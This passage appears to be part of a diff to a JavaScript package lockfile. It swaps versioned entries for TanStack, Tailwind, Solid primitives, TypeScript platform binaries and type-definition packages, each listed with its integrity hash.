"sha512-oc8b9U2SYvofKZk8e/737nIX0qwf6eV2vHFATeObAu7r+mUVpLs8Re0BmVkIjAWAYgkmG/CzLNo7rzuBzRu/wQ=="], + "@tanstack/devtools-event-client": ["@tanstack/devtools-event-client@0.4.4", "", { "bin": { "intent": "./bin/intent.js" } }, "sha512-6T5Yop/793YI+H+5J8Hsyj4kCih9sl4t3ElLgKioW5hk3ocn+ZdSJ94tT7vL7uabxSugWYBZlOTMPzEw2puvQw=="], - "@shikijs/vscode-textmate": ["@shikijs/vscode-textmate@10.0.2", "", {}, "sha512-83yeghZ2xxin3Nj8z1NMd/NCuca+gsYXswywDy5bHvwlWL8tpTQmzGeUuHd9FC3E/SBEMvzJRwWEOz5gGes9Qg=="], + "@tanstack/devtools-ui": ["@tanstack/devtools-ui@0.5.0", "", { "dependencies": { "clsx": "^2.1.1", "dayjs": "^1.11.19", "goober": "^2.1.16", "solid-js": "^1.9.9" } }, "sha512-nNZ14054n31fWB61jtWhZYLRdQ3yceCE3G/RINoINUB0RqIGZAIm9DnEDwOTAOfqt4/a/D8vNk8pJu6RQUp74g=="], - "@solid-primitives/event-listener": ["@solid-primitives/event-listener@2.4.3", "", { "dependencies": { "@solid-primitives/utils": "^6.3.2" }, "peerDependencies": { "solid-js": "^1.6.12" } }, "sha512-h4VqkYFv6Gf+L7SQj+Y6puigL/5DIi7x5q07VZET7AWcS+9/G3WfIE9WheniHWJs51OEkRB43w6lDys5YeFceg=="], + "@tanstack/devtools-vite": ["@tanstack/devtools-vite@0.4.1", "", { "dependencies": { "@babel/core": "^7.28.4", "@babel/generator": "^7.28.3", "@babel/parser": "^7.28.4", "@babel/traverse": "^7.28.4", "@babel/types": "^7.28.4", "@tanstack/devtools-client": "0.0.5", "@tanstack/devtools-event-bus": "0.4.0", "chalk": "^5.6.2", "launch-editor": "^2.11.1", "picomatch": "^4.0.3" }, "peerDependencies": { "vite": "^6.0.0 || ^7.0.0" } }, "sha512-PkMOomcWnl/pUkCqIjqL/csjPHtkMVBirDpJVOZR7XJZDxo5CuD7B+3KsujFCF4Dsn6QYlae97gCZvxi/CB76Q=="], - "@solid-primitives/keyboard": ["@solid-primitives/keyboard@1.3.3", "", { "dependencies": { "@solid-primitives/event-listener": "^2.4.3", "@solid-primitives/rootless": "^1.5.2", "@solid-primitives/utils": "^6.3.2" }, "peerDependencies": { "solid-js": "^1.6.12" } }, "sha512-9dQHTTgLBqyAI7aavtO+HnpTVJgWQA1ghBSrmLtMu1SMxLPDuLfuNr+Tk5udb4AL4Ojg7h9JrKOGEEDqsJXWJA=="], + "@tanstack/query-core": ["@tanstack/query-core@5.102.8", "", {}, "sha512-ZNjkJ33CqvPNec/6lZBnHqLc3EVGPZ9ySLhYahU9TcuRFdmwXewuj0c4hwSWcGHqEUwcSrKeZ+oGcvPBqXcQcg=="], - "@solid-primitives/resize-observer": ["@solid-primitives/resize-observer@2.1.3", "", { "dependencies": { "@solid-primitives/event-listener": "^2.4.3", "@solid-primitives/rootless": "^1.5.2", "@solid-primitives/static-store": "^0.1.2", "@solid-primitives/utils": "^6.3.2" }, "peerDependencies": { "solid-js": "^1.6.12" } }, "sha512-zBLje5E06TgOg93S7rGPldmhDnouNGhvfZVKOp+oG2XU8snA+GoCSSCz1M+jpNAg5Ek2EakU5UVQqL152WmdXQ=="], + "@tanstack/react-devtools": ["@tanstack/react-devtools@0.9.13", "", { "dependencies": { "@tanstack/devtools": "0.10.14" }, "peerDependencies": { "@types/react": ">=16.8", "@types/react-dom": ">=16.8", "react": ">=16.8", "react-dom": ">=16.8" } }, "sha512-O9YXTEe2dlnw2pPNKFZ4Wk7zC4qrDvc0SAALKfMVedeZ2Dyd0LEJUabYS6GPm+DmnrBhc7nJx6Zqc9aDjFrj4g=="], - "@solid-primitives/rootless": ["@solid-primitives/rootless@1.5.2", "", { "dependencies": { "@solid-primitives/utils": "^6.3.2" }, "peerDependencies": { "solid-js": "^1.6.12" } }, "sha512-9HULb0QAzL2r47CCad0M+NKFtQ+LrGGNHZfteX/ThdGvKIg2o2GYhBooZubTCd/RTu2l2+Nw4s+dEfiDGvdrrQ=="], + "@tanstack/react-query": ["@tanstack/react-query@5.102.8", "", { "dependencies": { "@tanstack/query-core": "5.102.8" }, "peerDependencies": { "react": "^18 || ^19" } }, "sha512-TYBea4OuXWD7MhaSHq069TWbFe7rcwWN6kzT7JF0OKi1K6c1gTv2IzD6A6ExJsCMozdkqBWeuIUZmu4KQg0O5A=="], - "@solid-primitives/static-store": ["@solid-primitives/static-store@0.1.2", "", { "dependencies": { "@solid-primitives/utils": "^6.3.2" }, "peerDependencies": { "solid-js": "^1.6.12" } }, "sha512-ReK+5O38lJ7fT+L6mUFvUr6igFwHBESZF+2Ug842s7fvlVeBdIVEdTCErygff6w7uR6+jrr7J8jQo+cYrEq4Iw=="], + "@types/d3-hierarchy": ["@types/d3-hierarchy@1.1.11", "", {}, "sha512-lnQiU7jV+Gyk9oQYk0GGYccuexmQPTp08E0+4BidgFdiJivjEvf+esPSdZqCZ2C7UwTWejWpqetVaU8A+eX3FA=="], - "@solid-primitives/utils": ["@solid-primitives/utils@6.3.2", "", { "peerDependencies": { "solid-js": "^1.6.12" } }, "sha512-hZ/M/qr25QOCcwDPOHtGjxTD8w2mNyVAYvcfgwzBHq2RwNqHNdDNsMZYap20+ruRwW4A3Cdkczyoz0TSxLCAPQ=="], + "@types/debug": ["@types/debug@4.1.13", "", { "dependencies": { "@types/ms": "*" } }, "sha512-KSVgmQmzMwPlmtljOomayoR89W4FynCAi3E8PPs7vmDVPe84hT+vGPKkJfThkmXs0x0jAaa9U8uW8bbfyS2fWw=="], - "@standard-schema/spec": ["@standard-schema/spec@1.1.0", "", {}, "sha512-l2aFy5jALhniG5HgqrD6jXLi/rUWrKvqN/qJx6yoJsgKhblVd+iqqU4RCXavm/jPityDo5TCvKMnpjKnOriy0w=="], + "@types/estree": ["@types/estree@1.0.9", "", {}, "sha512-GhdPgy1el4/ImP05X05Uw4cw2/M93BCUmnEvWZNStlCzEKME4Fkk+YpoA5OiHNQmoS7Cafb8Xa3Pya8m1Qrzeg=="], - "@standard-schema/utils": ["@standard-schema/utils@0.3.0", "", {}, "sha512-e7Mew686owMaPJVNNLs55PUvgz371nKgwsc4vxE49zsODpJEnxgxRo2y/OKrqueavXgZNMDVj3DdHFlaSAeU8g=="], + "@types/estree-jsx": ["@types/estree-jsx@1.0.5", "", { "dependencies": { "@types/estree": "*" } }, "sha512-52CcUVNFyfb1A2ALocQw/Dd1BQFNmSdkuC3BkZ6iqhdMfQz7JWOFRuJFloOzjk+6WijU56m9oKXFAXc7o3Towg=="], - "@tailwindcss/node": ["@tailwindcss/node@4.3.1", "", { "dependencies": { "@jridgewell/remapping": "^2.3.5", "enhanced-resolve": "5.21.6", "jiti": "^2.7.0", "lightningcss": "1.32.0", "magic-string": "^0.30.21", "source-map-js": "^1.2.1", "tailwindcss": "4.3.1" } }, "sha512-6NDaqRoAMSXD1mr/RXu0HBvNE9a2n5tHPsxu9XHLws8o4Twes5rBM2205SUUiJ9goAtadrN6xTGX0UDEwp/N4A=="], + "@types/hast": ["@types/hast@3.0.5", "", { "dependencies": { "@types/unist": "*" } }, "sha512-rp/ezSWaD1m44dPKICGhiskI13nVr7qTloFwDa/IYkhhf5nzwP+zIQcIJh3WIFSBOy/H1PzB40jPjMDksN4F+g=="], - "@tailwindcss/oxide": ["@tailwindcss/oxide@4.3.1", "", { "optionalDependencies": { "@tailwindcss/oxide-android-arm64": "4.3.1", "@tailwindcss/oxide-darwin-arm64": "4.3.1", "@tailwindcss/oxide-darwin-x64": "4.3.1", "@tailwindcss/oxide-freebsd-x64": "4.3.1", "@tailwindcss/oxide-linux-arm-gnueabihf": "4.3.1", "@tailwindcss/oxide-linux-arm64-gnu": "4.3.1", "@tailwindcss/oxide-linux-arm64-musl": "4.3.1", "@tailwindcss/oxide-linux-x64-gnu": "4.3.1", "@tailwindcss/oxide-linux-x64-musl": "4.3.1", "@tailwindcss/oxide-wasm32-wasi": "4.3.1", "@tailwindcss/oxide-win32-arm64-msvc": "4.3.1", "@tailwindcss/oxide-win32-x64-msvc": "4.3.1" } }, "sha512-yVPyo8RNkabVr3O2EhHEE0Rewu7YKzc1DhIqfL46LKveFrmu9XbDazNOJY7/GRuvw1h6u3utWnR29H/p5JPlgA=="], + "@types/mdast": ["@types/mdast@4.0.4", "", { "dependencies": { "@types/unist": "*" } }, "sha512-kGaNbPh1k7AFzgpud/gMdvIm5xuECykRR+JnWKQno9TAXVa6WIVCGTPvYGekIDL4uwCZQSYbUxNBSb1aUo79oA=="], - "@tailwindcss/oxide-android-arm64": ["@tailwindcss/oxide-android-arm64@4.3.1", "", { "os": "android", "cpu": "arm64" }, "sha512-SVlyf61g374l5cHyg8x9kf5xmLcOaxvOTsbsqDnSsDJaKOEFZ7GCvi84VAVGpxojYOs1+3K6M0UjXfqPU8vmOQ=="], + "@types/mdx": ["@types/mdx@2.0.14", "", {}, "sha512-T48PeuJtvLosNTPVhfnIp3i/n3a4g4Bad7YCq5k64D4u7NwDrAotikQ+5+sjtUvBmxCMlbo3dVL+C2dP0rWHzg=="], - "@tailwindcss/oxide-darwin-arm64": ["@tailwindcss/oxide-darwin-arm64@4.3.1", "", { "os": "darwin", "cpu": "arm64" }, "sha512-hVnWLwv+e/l7c4WKyVtHVrIPvYdqWHjRB3MDIqARynzFtnQg85kmQEFCbV9Ja0VVx4xXTIiDWY60Y7iz/iNoDA=="], + "@types/ms": ["@types/ms@2.1.0", "", {}, "sha512-GsCCIZDE/p3i96vtEqx+7dBUGXrc7zeSK3wwPHIaRThS+9OhWIXRqzs4d6k1SVU8g91DrNRWxWUGhp5KXQb2VA=="], - "@tailwindcss/oxide-darwin-x64": ["@tailwindcss/oxide-darwin-x64@4.3.1", "", { "os": "darwin", "cpu": "x64" }, "sha512-Cf7abu0WVgbhU7ANgPUnSAvm7nCvMweusHb8FnaHlLfv/Caq4GYaEZg7ZImzzmjx4lIAfuS8q+eLIS7A7IzxIg=="], + "@types/node": ["@types/node@26.4.0", "", { "dependencies": { "undici-types": "~8.3.0" } }, "sha512-faiGnoIrLH/V8cibOMEAZ8pMw6oXqSukl29ra4mN8GdaB2ZewzeaLj+INpV5N+Z1eKWzY+IzaIZH2EIR6YZRNQ=="], - "@tailwindcss/oxide-freebsd-x64": ["@tailwindcss/oxide-freebsd-x64@4.3.1", "", { "os": "freebsd", "cpu": "x64" }, "sha512-ZZqzX2Y+GXtXXfqSfpJhDm60OoZfvLHLCgm+J7NVqgHHJjG/m9ugZI77RwTsVd4fnBJuCFP6Ae6kTJb71UdS8g=="], + "@types/prismjs": ["@types/prismjs@1.26.6", "", {}, "sha512-vqlvI7qlMvcCBbVe0AKAb4f97//Hy0EBTaiW8AalRnG/xAN5zOiWWyrNqNXeq8+KAuvRewjCVY1+IPxk4RdNYw=="], - "@tailwindcss/oxide-linux-arm-gnueabihf": ["@tailwindcss/oxide-linux-arm-gnueabihf@4.3.1", "", { "os": "linux", "cpu": "arm" }, "sha512-/Ah/xik0LaMYfv9DZ0S/t4pBlBNYOcqtRwusjgovHkvT8ixueWCLyJjsaF5kQIckjb4IT8Q6K6p/iPmZMixYgg=="], + "@types/react": ["@types/react@19.2.18", "", { "dependencies": { "csstype": "^3.2.2" } }, "sha512-AnzbBERsrLKtk2XSfTbYRLjQPdy116Sty4q+T+Bp3IC4l6jNBvreVPAHmpq9qhXQM7CXZPjLVmGMw9sy+hxQ3w=="], - "@tailwindcss/oxide-linux-arm64-gnu": ["@tailwindcss/oxide-linux-arm64-gnu@4.3.1", "", { "os": "linux", "cpu": "arm64" }, "sha512-gqdFoVJlw444GvpnheZLHmvTzSxI/cOUUh2KSNejQjTcYkW062SVD+En0rUgD+QV91bz1XGIGtt1HJd48xUGbQ=="], + "@types/react-copy-to-clipboard": ["@types/react-copy-to-clipboard@5.0.7", "", { "dependencies": { "@types/react": "*" } }, "sha512-Gft19D+as4M+9Whq1oglhmK49vqPhcLzk8WfvfLvaYMIPYanyfLy0+CwFucMJfdKoSFyySPmkkWn8/E6voQXjQ=="], - "@tailwindcss/oxide-linux-arm64-musl": ["@tailwindcss/oxide-linux-arm64-musl@4.3.1", "", { "os": "linux", "cpu": "arm64" }, "sha512-Bwv9KwOvE0VKa86xPFif9b9c3Y1NxOV1P0gLti/IYaWEsQYZXDlxfGEtA8mdDZ7SG3wyNXAWYT5SIn3giL57oA=="], + "@types/react-dom": ["@types/react-dom@19.2.5", "", { "peerDependencies": { "@types/react": "^19.2.0" } }, "sha512-fMPwH9v7r/pp43yUd2/Mbiex5KouJwwR3dzHkhLREUC6764VyDsqxhAxv6OFEYR1RhjOyD1naqba8ECDBe7ZQg=="], - "@tailwindcss/oxide-linux-x64-gnu": ["@tailwindcss/oxide-linux-x64-gnu@4.3.1", "", { "os": "linux", "cpu": "x64" }, "sha512-Ymi8O8T15HYQdOUWUtTI6ldN0neHP85FC+Qz32xTcZ7iJXtem/x8ITev0o1e9e5rkqj4lONZfTRLvkmin1+tKg=="], + "@types/react-syntax-highlighter": ["@types/react-syntax-highlighter@15.5.13", "", { "dependencies": { "@types/react": "*" } }, "sha512-uLGJ87j6Sz8UaBAooU0T6lWJ0dBmjZgN1PZTrj05TNql2/XpC6+4HhMT5syIdFUUt+FASfCeLLv4kBygNU+8qA=="], - "@tailwindcss/oxide-linux-x64-musl": ["@tailwindcss/oxide-linux-x64-musl@4.3.1", "", { "os": "linux", "cpu": "x64" }, "sha512-M+P/91qJ6uILLw4k2G93GMDRAXj61SMvFQYt39AqvUqYgExXpLL5aepfns7sj4HiAQeolirQF9E0lzRvdf4zPQ=="], + "@types/unist": ["@types/unist@3.0.3", "", {}, "sha512-ko/gIFJRv177XgZsZcBwnqJN5x/Gien8qNOn0D5bQU/zAzVf9Zt3BlcUiLqhV9y4ARk0GbT3tnUiPNgnTXzc/Q=="], - "@tailwindcss/oxide-wasm32-wasi": ["@tailwindcss/oxide-wasm32-wasi@4.3.1", "", { "dependencies": { "@emnapi/core": "^1.10.0", "@emnapi/runtime": "^1.10.0", "@emnapi/wasi-threads": "^1.2.1", "@napi-rs/wasm-runtime": "^1.1.4", "@tybys/wasm-util": "^0.10.2", "tslib": "^2.8.1" }, "cpu": "none" }, "sha512-zsM8uOeqvVGHsAXsJxsT28ttosFahLJKCLOTUBqRAtKnVgGSRitds9T432QiT8b77Yga7JIBkulIRRlJPtYhRA=="], + "@typescript/typescript-aix-ppc64": ["@typescript/typescript-aix-ppc64@7.0.2", "", { "os": "aix", "cpu": "ppc64" }, "sha512-MTKKkWB7p/0E9xi1d1tHtZ5PiLkGEMIq88pK2CubZjOsLtYTLqhgIgi6zepFa+9GHZ6h05NMCkQxGKiPXMxXtQ=="], - "@tailwindcss/oxide-win32-arm64-msvc": ["@tailwindcss/oxide-win32-arm64-msvc@4.3.1", "", { "os": "win32", "cpu": "arm64" }, "sha512-aiNvSq9BsVk8V513lDKlrCFAgf8qBMPZTpgEhInL+NwQqs97mYmupVMrPrgBBSL8Pv/0zXu9MrMF9rMun1ZeNg=="], + "@typescript/typescript-darwin-arm64": ["@typescript/typescript-darwin-arm64@7.0.2", "", { "os": "darwin", "cpu": "arm64" }, "sha512-gowzar9MwS/aRWp6f3a4KUqzRjAZjOsmGNCM6LcTgXum+dBfgsBVMN+AgvOCCbguXyick6LJhpBszxMebJ8syA=="], - "@tailwindcss/oxide-win32-x64-msvc": ["@tailwindcss/oxide-win32-x64-msvc@4.3.1", "", { "os": "win32", "cpu": "x64" }, "sha512-xDEyu1rg290472FEGaKHnzyDyh5QH+AlWvsU5hMoMtPpzmKlRI0jaYKCgSHDYtaQWZOYbMaduSyCwFwY4n1HmA=="], + "@typescript/typescript-darwin-x64": ["@typescript/typescript-darwin-x64@7.0.2", "", { "os": "darwin", "cpu": "x64" }, "sha512-SZ9xZInqApNlNGc9s0W1VSsktYSOe9cFqNOIqmN1Gs8SmkjKZYFt017G4VwPxASInODuAdbTW7sXiFUf893RgA=="], - "@tailwindcss/vite": ["@tailwindcss/vite@4.3.1", "", { "dependencies": { "@tailwindcss/node": "4.3.1", "@tailwindcss/oxide": "4.3.1", "tailwindcss": "4.3.1" }, "peerDependencies": { "vite": "^5.2.0 || ^6 || ^7 || ^8" } }, "sha512-hItDHuIIlEV61R+faXu66s1K36aTurO/Qw0e45Vskz57gXl9pWOT6eg3zmcEui6CZXddbN7zd41bwmvag4JGwQ=="], + "@typescript/typescript-freebsd-arm64": ["@typescript/typescript-freebsd-arm64@7.0.2", "", { "os": "freebsd", "cpu": "arm64" }, "sha512-W5NH4y/J0plIIS5b2xvTEkU7JFxyqdMAOgf+Ilhl0vHQXKO5dZoxd+C/jEtq56c4F3wk71RB4BMRQ2XdI+bwYQ=="], - "@tanstack/devtools": ["@tanstack/devtools@0.10.2", "", { "dependencies": { "@solid-primitives/event-listener": "^2.4.3", "@solid-primitives/keyboard": "^1.3.3", "@solid-primitives/resize-observer": "^2.1.3", "@tanstack/devtools-client": "0.0.5", "@tanstack/devtools-event-bus": "0.4.0", "@tanstack/devtools-ui": "0.4.4", "clsx": "^2.1.1", "goober": "^2.1.16", "solid-js": "^1.9.9" } }, "sha512-6TPNl3jTrCFpyV3m9lBeHxum6btmiihbv+A3xkDpt3JScRcWP1a8G5rZzKhlOtikzG1QSiceRrbckKnIAvZ7FQ=="], + "@typescript/typescript-freebsd-x64": ["@typescript/typescript-freebsd-x64@7.0.2", "", { "os": "freebsd", "cpu": "x64" }, "sha512-UMGDx5sTpzNw3WiPebH7l90IWfJggEd+egHt/q6p7/Cm3zqoV7VxkGXt+3DxPIw8CcmvAB0j3sVVfbhX+M4Tpw=="], - "@tanstack/devtools-client": ["@tanstack/devtools-client@0.0.5", "", { "dependencies": { "@tanstack/devtools-event-client": "^0.4.0" } }, "sha512-hsNDE3iu4frt9cC2ppn1mNRnLKo2uc1/1hXAyY9z4UYb+o40M2clFAhiFoo4HngjfGJDV3x18KVVIq7W4Un+zA=="], + "@typescript/typescript-linux-arm": ["@typescript/typescript-linux-arm@7.0.2", "", { "os": "linux", "cpu": "arm" }, "sha512-gffT3xPz9sR7j/YJExkyPntrI0P2EP9XbOyWzth2/Gs0RstK+90RBcO0ncXoXy/beYll1SXw846Nf2zdnEz0QQ=="], - "@tanstack/devtools-event-bus": ["@tanstack/devtools-event-bus@0.4.0", "", { "dependencies": { "ws": "^8.18.3" } }, "sha512-1t+/csFuDzi+miDxAOh6Xv7VDE80gJEItkTcAZLjV5MRulbO/W8ocjHLI2Do/p2r2/FBU0eKCRTpdqvXaYoHpQ=="], + "@typescript/typescript-linux-arm64": ["@typescript/typescript-linux-arm64@7.0.2", "", { "os": "linux", "cpu": "arm64" }, "sha512-Qh4eU4/y3yDjnfjjyPYihMj5/ODIlmt+Bzu17OI+fiSRDW57QmU5SiN63exPRNJPKUzcc1INa1NXdrJ+MqHjUQ=="], - "@tanstack/devtools-event-client": ["@tanstack/devtools-event-client@0.4.0", "", {}, "sha512-RPfGuk2bDZgcu9bAJodvO2lnZeHuz4/71HjZ0bGb/SPg8+lyTA+RLSKQvo7fSmPSi8/vcH3aKQ8EM9ywf1olaw=="], + "@typescript/typescript-linux-loong64": ["@typescript/typescript-linux-loong64@7.0.2", "", { "os": "linux", "cpu": "none" }, "sha512-uEHck9i8hoAzXPiYRib1O7miOnz23SxIeVl6F4LXox+qov1K35jHcEW6VHKvZI+pyvl7fZEP4MCU5LYvIq1GuQ=="], - "@tanstack/devtools-ui": ["@tanstack/devtools-ui@0.4.4", "", { "dependencies": { "clsx": "^2.1.1", "goober": "^2.1.16", "solid-js": "^1.9.9" } }, "sha512-5xHXFyX3nom0UaNfiOM92o6ziaHjGo3mcSGe2HD5Xs8dWRZNpdZ0Smd0B9ddEhy0oB+gXyMzZgUJb9DmrZV0Mg=="], + "@typescript/typescript-linux-mips64el": ["@typescript/typescript-linux-mips64el@7.0.2", "", { "os": "linux", "cpu": "none" }, "sha512-R4KvAMnE43W5Qeqb0Ly56O3mWMWIAgsMyz36DCaycd5nbg/9kzm0liw3JocfRqyJY0KPmzFjbswozXyW0DnIYA=="], - "@tanstack/devtools-vite": ["@tanstack/devtools-vite@0.4.1", "", { "dependencies": { "@babel/core": "^7.28.4", "@babel/generator": "^7.28.3", "@babel/parser": "^7.28.4", "@babel/traverse": "^7.28.4", "@babel/types": "^7.28.4", "@tanstack/devtools-client": "0.0.5", "@tanstack/devtools-event-bus": "0.4.0", "chalk": "^5.6.2", "launch-editor": "^2.11.1", "picomatch": "^4.0.3" }, "peerDependencies": { "vite": "^6.0.0 || ^7.0.0" } }, "sha512-PkMOomcWnl/pUkCqIjqL/csjPHtkMVBirDpJVOZR7XJZDxo5CuD7B+3KsujFCF4Dsn6QYlae97gCZvxi/CB76Q=="], + "@typescript/typescript-linux-ppc64": ["@typescript/typescript-linux-ppc64@7.0.2", "", { "os": "linux", "cpu": "ppc64" }, "sha512-DORx5b3sd/4S7eayxm4FQv+A7CrkUIGRaHiwI8oiHTAI1fAPWhF4J0vAlkC8biAlHSVVwxMQ3tjZ2/DVbnQiiA=="], - "@tanstack/query-core": ["@tanstack/query-core@5.101.2", "", {}, "sha512-hH5MLoJhF7KaIGd7q3xTXGXvslI+GYlM1Z/35aSHHWaCJWB7XvTSHYuV3eM7tw+aE0mT/xMro4M4Q9rCGHT0lw=="], + "@typescript/typescript-linux-riscv64": ["@typescript/typescript-linux-riscv64@7.0.2", "", { "os": "linux", "cpu": "none" }, "sha512-wf0jqEDOjrPRnKwYRyyJDRo11KMbvMFrU+q4zqKyChODBzvlkbhNQfKvLxQCcwTpdDaXSHZTVuh0JoCrKCUMHQ=="], - "@tanstack/react-devtools": ["@tanstack/react-devtools@0.9.1", "", { "dependencies": { "@tanstack/devtools": "0.10.2" }, "peerDependencies": { "@types/react": ">=16.8", "@types/react-dom": ">=16.8", "react": ">=16.8", "react-dom": ">=16.8" } }, "sha512-ONDMs117FrzWxFD1JQ9Z94QnTx+63RuQ+9Z3ieSS9bHAWmty4PWiLddAZPvyHCbV9iljlpUEkCoKCO1HMywR2Q=="], + "@typescript/typescript-linux-s390x": ["@typescript/typescript-linux-s390x@7.0.2", "", { "os": "linux", "cpu": "s390x" }, "sha512-IkwJc3L7yhytWd/ewjyxNDfOmswCm9GWMJT/ue/dU4aZNbwZeYAetq42VyLmsmSjvoX7z74X6ZaYCtzAr0EuGw=="], - "@tanstack/react-query": ["@tanstack/react-query@5.101.2", "", { "dependencies": { "@tanstack/query-core": "5.101.2" }, "peerDependencies": { "react": "^18 || ^19" } }, "sha512-seDkr6kzGzX1okaaTtZPtgA688CDPlXUz1C6xSg0ESqn04Vuc8tlrYms1s3de+znBqhPVxFRfpAfUf+6XvfPWg=="], + "@typescript/typescript-linux-x64": ["@typescript/typescript-linux-x64@7.0.2", "", { "os": "linux", "cpu": "x64" }, "sha512-EYdf2cNg7rgCWJnxCdJ+F3V39O8ihb37eHAu1LK8oAFizgTQbPOK7zHHXbPt8rX24COqODXeI3sIf0fCXG7H/A=="], - "@tybys/wasm-util": ["@tybys/wasm-util@0.10.3", "", { "dependencies": { "tslib": "^2.4.0" } }, "sha512-F3fo1MYrRJYL3zER0OUOmkutjr1Vp23m7OsSgp7nq4SP6OqX6C/56XFIPAl5bt3zaBRjmW7SGz3u/6LwFpYcOg=="], + "@typescript/typescript-netbsd-arm64": ["@typescript/typescript-netbsd-arm64@7.0.2", "", { "os": "none", "cpu": "arm64" }, "sha512-+polYF4MF04aPpO5FTkHran9yUQDSXqy5GiSDKpsll5jy3l3+g9QLhpf39T+ePtefhXLOGrLl0QIjkQP6VnelA=="], - "@types/d3-hierarchy": ["@types/d3-hierarchy@1.1.11", "", {}, "sha512-lnQiU7jV+Gyk9oQYk0GGYccuexmQPTp08E0+4BidgFdiJivjEvf+esPSdZqCZ2C7UwTWejWpqetVaU8A+eX3FA=="], + "@typescript/typescript-netbsd-x64": ["@typescript/typescript-netbsd-x64@7.0.2", "", { "os": "none", "cpu": "x64" }, "sha512-8YIT0EHM/3dq10ZOVF/A7pc/YSMtbcecct4rWtexrnSCHOPcpC2KTLXfTCR6vDpnSiY12heNb1GiN/wu+T/FyA=="], - "@types/debug": ["@types/debug@4.1.12", "", { "dependencies": { "@types/ms": "*" } }, "sha512-vIChWdVG3LG1SMxEvI/AK+FWJthlrqlTu7fbrlywTkkaONwk/UAGaULXRlf8vkzFBLVm0zkMdCquhL5aOjhXPQ=="], + "@typescript/typescript-openbsd-arm64": ["@typescript/typescript-openbsd-arm64@7.0.2", "", { "os": "openbsd", "cpu": "arm64" }, "sha512-APT8+ClYnuYm1u9+kgGXoMj2VzWzcymwh2gNSQVySHfkRDGOTVkoWLjCmOQSaO+PoqQ57B0flRp9SA+7GnnkzQ=="], - "@types/estree": ["@types/estree@1.0.8", "", {}, "sha512-dWHzHa2WqEXI/O1E9OjrocMTKJl2mSrEolh1Iomrv6U+JuNwaHXsXx9bLu5gG7BUWFIN0skIQJQ/L1rIex4X6w=="], + "@typescript/typescript-openbsd-x64": ["@typescript/typescript-openbsd-x64@7.0.2", "", { "os": "openbsd", "cpu": "x64" }, "sha512-yX7s+Q0Dln0Dt9tEzZsAjXXR/+ytBM7AlglaqyeMPxQszJ1JhlJdZ6jLA+IzldHtflX81em7lDao1xXu+aRRkg=="], - "@types/estree-jsx": ["@types/estree-jsx@1.0.5", "", { "dependencies": { "@types/estree": "*" } }, "sha512-52CcUVNFyfb1A2ALocQw/Dd1BQFNmSdkuC3BkZ6iqhdMfQz7JWOFRuJFloOzjk+6WijU56m9oKXFAXc7o3Towg=="], + "@typescript/typescript-sunos-x64": ["@typescript/typescript-sunos-x64@7.0.2", "", { "os": "sunos", "cpu": "x64" }, "sha512-dLJDGaLZ1D4HPQn62u1n8mBDkJREwMsAkCdkwd4Ieqw+x3TUyTsqY0YiBCtE6H6OzzgGk3iuZ3vFWRS+E8/d1g=="], - "@types/hast": ["@types/hast@3.0.4", "", { "dependencies": { "@types/unist": "*" } }, "sha512-WPs+bbQw5aCj+x6laNGWLH3wviHtoCv/P3+otBhbOhJgG8qtpdAMlTCxLtsTWA7LH1Oh/bFCHsBn0TPS5m30EQ=="], + "@typescript/typescript-win32-arm64": ["@typescript/typescript-win32-arm64@7.0.2", "", { "os": "win32", "cpu": "arm64" }, "sha512-Gyl1Vy6OsWesLzmq+EP0Fb7b4Nid5232AvcA2SFcdYreldpNtYFFofPjnt62y9hQy7VTaZp65ICJjuAQRaVcIQ=="], - "@types/mdast": ["@types/mdast@4.0.4", "", { "dependencies": { "@types/unist": "*" } }, "sha512-kGaNbPh1k7AFzgpud/gMdvIm5xuECykRR+JnWKQno9TAXVa6WIVCGTPvYGekIDL4uwCZQSYbUxNBSb1aUo79oA=="], + "@typescript/typescript-win32-x64": ["@typescript/typescript-win32-x64@7.0.2", "", { "os": "win32", "cpu": "x64" }, "sha512-0BQ3HkAHHlKLSp1qRvf3SUhGpGsDuhB/jgFw75guyqbxJqEaS0Cw/VFO8i2nHglJUzQCRtMMR/IBAKE3ETMC4g=="], - "@types/mdx": ["@types/mdx@2.0.14", "", {}, "sha512-T48PeuJtvLosNTPVhfnIp3i/n3a4g4Bad7YCq5k64D4u7NwDrAotikQ+5+sjtUvBmxCMlbo3dVL+C2dP0rWHzg=="], + "@ungap/structured-clone": ["@ungap/structured-clone@1.4.0", "", {}, "sha512-1mEZtMKPM09vDmQt5y7YvmN2+DFTP7Tg0EWXdic8/C6VRnpb33e4ghisCIE3WZjsE2N8mf+QV1Zqh7ZFYLWInQ=="], - "@types/ms": ["@types/ms@2.1.0", "", {}, "sha512-GsCCIZDE/p3i96vtEqx+7dBUGXrc7zeSK3wwPHIaRThS+9OhWIXRqzs4d6k1SVU8g91DrNRWxWUGhp5KXQb2VA=="], + "@yuku-analyzer/binding-android-arm64": ["@yuku-analyzer/binding-android-arm64@0.9.3", "", { "os": "android", "cpu": "arm64" }, "sha512-6dOwkawiJYtUUBchfjrFo7poz460Yg+aQNgr4lHUPZ2fNW+llpMEZkbznTq25BEmmiBGPJr+L15dzTvR8zP4vQ=="], - "@types/node": ["@types/node@26.0.1", "", { "dependencies": { "undici-types": "~8.3.0" } }, "sha512-fc3KiUoBt6kie0N9bIW3E47vZsuaMf0PM2AaUpLCLT0s/LvX1nxAim6Fc049cNxODPpGm6qRAuUOB86SkRuPQw=="], + "@yuku-analyzer/binding-darwin-arm64": ["@yuku-analyzer/binding-darwin-arm64@0.9.3", "", { "os": "darwin", "cpu": "arm64" }, "sha512-DTRoWK7AqNfshN+DcCS/s4n86br0ZusISeXLZWWNuvnZ3b9LCVXdWRVPlnMpEwsmSH3c3QSwL7MAOPyEHMe+FA=="], - "@types/prismjs": ["@types/prismjs@1.26.5", "", {}, "sha512-AUZTa7hQ2KY5L7AmtSiqxlhWxb4ina0yd8hNbl4TWuqnv/pFP0nDMb3YrfSBf4hJVGLh2YEIBfKaBW/9UEl6IQ=="], + "@yuku-analyzer/binding-darwin-x64": ["@yuku-analyzer/binding-darwin-x64@0.9.3", "", { "os": "darwin", "cpu": "x64" }, "sha512-EWzaR0/AL3ikZfUiADG1SmbB+wF7GGhXFKhMWm3RbOTf+ATyEW7Fa9nsjo1K70pWEeVZHRm9MU4iq7LIUEEgfg=="], - "@types/react": ["@types/react@19.2.17", "", { "dependencies": { "csstype": "^3.2.2" } }, "sha512-MXfmqaVPEVgkBT/aY0aGCkRWWtByiYQXo3xdQ8r5RzuFrPiRn8Gar2tQdXSUQ2GKV3bkXckek89V8wQBY2Q/Aw=="], + "@yuku-analyzer/binding-freebsd-x64": 